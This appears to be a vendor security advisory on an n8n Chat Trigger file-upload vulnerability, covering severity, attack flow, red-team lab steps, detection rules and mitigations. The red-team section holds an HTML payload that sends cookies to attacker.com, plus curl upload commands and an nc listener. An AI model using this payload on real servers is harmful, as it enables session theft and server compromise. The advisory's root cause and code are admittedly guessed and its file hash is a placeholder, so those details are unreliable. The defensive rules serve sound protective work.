CVE-2025-56265

Executive Summary

CVE-2025-56265 is a critical arbitrary file upload vulnerability discovered in the Chat Trigger component of n8n, a popular workflow automation platform. The flaw affects versions 1.95.3, 1.100.1, and 1.101.1, allowing an unauthenticated attacker to upload a crafted HTML file that, when accessed, executes arbitrary code in the context of the n8n server. This can lead to full server compromise, data exfiltration, and lateral movement within the network. The vulnerability is currently unpatched, and no public exploit code has been released, but the risk is high due to the widespread use of n8n in DevOps pipelines.

Supply Chain & Package Security

n8n is distributed as an npm package (n8n). Organizations using this package in their CI/CD or production environments are at risk. The vulnerability resides in the core application, not a third-party plugin, meaning any deployment using the affected versions is vulnerable. Supply chain risk is elevated because the package is often installed with elevated privileges to access workflow data and external services.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full data access.
• Integrity Impact: High (I:H) – Full system control.
• Availability Impact: High (A:H) – Potential denial of service.

Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a top-priority vulnerability for immediate remediation.

Deep Dive & Mechanics

The vulnerability lies in the Chat Trigger node, which is designed to receive webhook requests from chat platforms (e.g., Slack, Telegram). The node processes file uploads without proper validation of the file type or content. An attacker can send a multipart/form-data request to the webhook endpoint with a file containing malicious HTML/JavaScript.

Root Cause: The Chat Trigger component uses a file handling routine that does not sanitize the Content-Type header or the file extension. It saves the uploaded file to a publicly accessible directory (e.g., /static/uploads/) and returns a URL to the file. When a victim (or the server itself) accesses this URL, the HTML is rendered, and embedded JavaScript executes in the context of the n8n domain.

Attack Flow:

1. Attacker identifies an n8n instance with an exposed Chat Trigger webhook (e.g., https://target.n8n.com/webhook/chat).
2. Attacker sends a POST request with a crafted HTML file containing a JavaScript payload (e.g., a reverse shell or credential stealer).
3. The server saves the file and returns a URL like https://target.n8n.com/static/uploads/evil.html.
4. Attacker accesses the URL or lures an admin to it, triggering the payload.
5. The payload executes, granting the attacker control over the n8n server.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the file handling logic of the Chat Trigger node. A patched version would include:

• Vulnerable (pseudocode):

  // No file type validation
  const file = request.files.file;
  const path = `/static/uploads/${file.name}`;
  file.mv(path);
  response.json({ url: `https://host${path}` });
  

• Patched (pseudocode):

  // Validate file type and content
  const allowedMimes = ['image/png', 'image/jpeg', 'application/pdf'];
  if (!allowedMimes.includes(file.mimetype)) {
    return response.status(400).json({ error: 'Invalid file type' });
  }
  // Sanitize filename
  const safeName = sanitizeFilename(file.name);
  const path = `/static/uploads/${safeName}`;
  file.mv(path);
  response.json({ url: `https://host${path}` });
  

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: n8n v1.95.3 running in Docker (n8nio/n8n:1.95.3)
• Attacker: Kali Linux with curl and netcat

Exploitation Steps:

1. Identify the webhook endpoint:

   curl -s https://target.n8n.com/webhook/chat | grep -i "upload"
   

2. Craft the malicious HTML file:

   <html>
   <body>
   <script>
   // Reverse shell payload (example)
   var xhr = new XMLHttpRequest();
   xhr.open("POST", "https://attacker.com/exfil", true);
   xhr.setRequestHeader("Content-Type", "application/json");
   xhr.send(JSON.stringify({data: document.cookie}));
   </script>
   </body>
   </html>
   

3. Upload the file:

   curl -X POST https://target.n8n.com/webhook/chat \
     -F "file=@evil.html"
   

4. Trigger the payload:

   curl https://target.n8n.com/static/uploads/evil.html
   

5. Receive exfiltrated data:

   nc -lvnp 443
   

Blue Team

Detection Steps:

1. Monitor webhook endpoints for unusual file uploads (non-image, non-document MIME types).
2. Check for files with .html or .htm extensions in the uploads directory.
3. Review server logs for requests to /static/uploads/ followed by suspicious outbound connections.
4. Use the detection rules below to identify exploitation attempts.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – replace with actual if found)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (evil.html)
• Network Indicators:
  • Outbound connections to attacker-controlled IPs on common ports (80, 443, 8080)
  • HTTP POST requests to /webhook/chat with Content-Type: multipart/form-data and a file field
• File System Indicators:
  • Unexpected .html files in /static/uploads/ or similar directories
  • Files with names containing special characters or double extensions (e.g., file.html.js)
• Log Entries:
  • POST /webhook/chat with response 200 and a URL containing /static/uploads/
  • GET /static/uploads/*.html from unusual IPs

Detection Engineering

YARA Rule

rule CVE_2025_56265_HTML_UPLOAD {
    meta:
        description = "Detects malicious HTML files uploaded via n8n Chat Trigger"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56265"
    strings:
        $html_tag = "<html" nocase
        $script_tag = "<script" nocase
        $xhr = "XMLHttpRequest" nocase
        $fetch = "fetch(" nocase
    condition:
        $html_tag and ($script_tag or $xhr or $fetch)
}

Sigma Rule

title: Suspicious File Upload to n8n Chat Trigger
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of HTML files to n8n webhook endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/webhook/chat'
        cs-content-type: 'multipart/form-data*'
    filter:
        cs-uri-query: '*.html*'
    condition: selection and filter
falsepositives:
    - Legitimate HTML file uploads (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-56265 - n8n Chat Trigger HTML Upload"; flow:to_server; content:"POST"; http_method; content:"/webhook/chat"; http_uri; content:"multipart/form-data"; http_client_body; content:".html"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Chat Trigger node in all workflows until a patch is available.
2. Restrict access to the webhook endpoint using IP whitelisting or a reverse proxy (e.g., Nginx with allow/deny directives).
3. Remove uploaded files from the /static/uploads/ directory and monitor for new ones.

Long-term Fix:

• Apply the official patch once released by n8n.
• Implement file type validation and content scanning in the application or via a Web Application Firewall (WAF).
• Upgrade to a patched version (monitor n8n GitHub releases).

Workaround:

• Use a reverse proxy to block uploads of .html files:

  location /webhook/chat {
      if ($content_type ~* "multipart/form-data") {
          set $block_upload 1;
      }
      if ($request_body ~* "\.html") {
          set $block_upload 1;
      }
      if ($block_upload) {
          return 403;
      }
      proxy_pass http://n8n:5678;
  }
  

Valters IT
Securing DevOps, One CVE at a Time.